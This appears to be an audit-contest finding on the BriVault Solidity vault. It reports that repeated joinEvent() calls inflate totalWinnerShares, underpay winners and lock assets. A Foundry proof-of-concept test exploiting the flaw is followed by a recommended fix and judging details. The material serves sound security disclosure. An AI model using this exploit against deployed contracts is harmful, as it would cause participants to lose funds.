Submission Details
Severity:
Critical: Multiple `joinEvent()` Calls Inflate `totalWinnerShares`, Locking Funds
Critical: Multiple `joinEvent()` Calls Inflate `totalWinnerShares`, Locking Funds
Description
-
joinEvent()records user shares inuserSharesToCountry[user][countryId]. -
No check for repeated calls — user can call
joinEvent()multiple times with samecountryId.
....
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) revert noDeposit();
if (countryId >= teams.length) revert invalidCountry();
if (block.timestamp > eventStartDate) revert eventStarted();
userToCountry[msg.sender] = teams[countryId]; // @> Overwrites
uint256 participantShares = balanceOf(msg.sender);
// @> Overwrites, but adds to total each time
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender); // @> Pushes user multiple times
numberOfParticipants++;
totalParticipantShares += participantShares;
}
...
function _getWinnerShares () internal returns (uint256) {
// @> Populates inflated usersAddress array
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
// @> Adds to totalWinnerShares multiple times user shares
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
...
Risk
Likelihood:
After
deposit()— multiplejoinEvent()calls before eventStartDate.
Impact:
-
totalWinnerShares inflated by (N-1) * shares per malicious join.
-
All winners underpaid — including attacker.
-
Excess assets permanently locked in vault.
-
DoS via gas limit if usersAddress.length grows too large.
Proof of Concept
file test/BriVaultExploitTest.t.sol
// SPDX-License-Identifier: MIT
// solhint-disable-next-line no-unused-import
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
abstract contract BriVaultExploitTest is Test {
using Math for uint256;
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100; // 1%
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
BriVault internal vault;
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}
file test/PocC07.t.sol
// SPDX-License-Identifier: MIT
import {BriVaultExploitTest, Math} from "./BriVaultExploitTest.t.sol";
contract PocC07 is BriVaultExploitTest {
using Math for uint256;
function test_criticalMultipleJoinEventInflatesSharesAndLockAssetsInVault(uint8 joinTimes) external {
vm.assume(joinTimes > 1 && joinTimes < 50); // Avoid gas limit
// Step 1: Attacker joins winning country multiple times
for (uint8 i = 0; i < joinTimes; i++) {
_joinEvent(attacker1, WINNER_COUNTRY_ID);
}
// Step 2: Legitimate user joins once
_joinEvent(user1, WINNER_COUNTRY_ID);
// Step 3: Event ends, winner set
_endEventAndSetWinner();
// Step 4: Verify inflation
uint256 attacker1Shares = vault.balanceOf(attacker1);
uint256 user1Shares = vault.balanceOf(user1);
assertEq(
totalWinnerShares,
attacker1Shares * joinTimes + user1Shares,
"totalWinnerShares inflated"
);
// Step 5: Attacker withdraws — still underpaid
uint256 fairBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
uint256 received = _withdraw(attacker1, attacker1Shares, "Attacker1");
assertLt(received, fairBalance, "Attacker underpaid");
// Step 6: User underpaid
fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
received = _withdraw(user1, user1Shares, "User1");
assertLt(received, fairBalance, "User1 underpaid");
// Step 7: Assets locked
assertGt(token.balanceOf(address(vault)), 0, "Funds locked in vault");
emit log_named_uint("Locked amount", token.balanceOf(address(vault)));
}
}
Recommended Mitigation
+error AlreadyJoined();
+mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) revert noDeposit();
if (countryId >= teams.length) revert invalidCountry();
if (block.timestamp > eventStartDate) revert eventStarted();
+ if (hasJoined[msg.sender]) revert AlreadyJoined();
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
+ hasJoined[msg.sender] = true;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Updates
Appeal created
bube 19 days ago
Submission Judgement Published Assigned finding tags:
Unbounded Loop in _getWinnerShares Causes Denial of Service
The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.
Duplicate registration through `joinEvent`
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.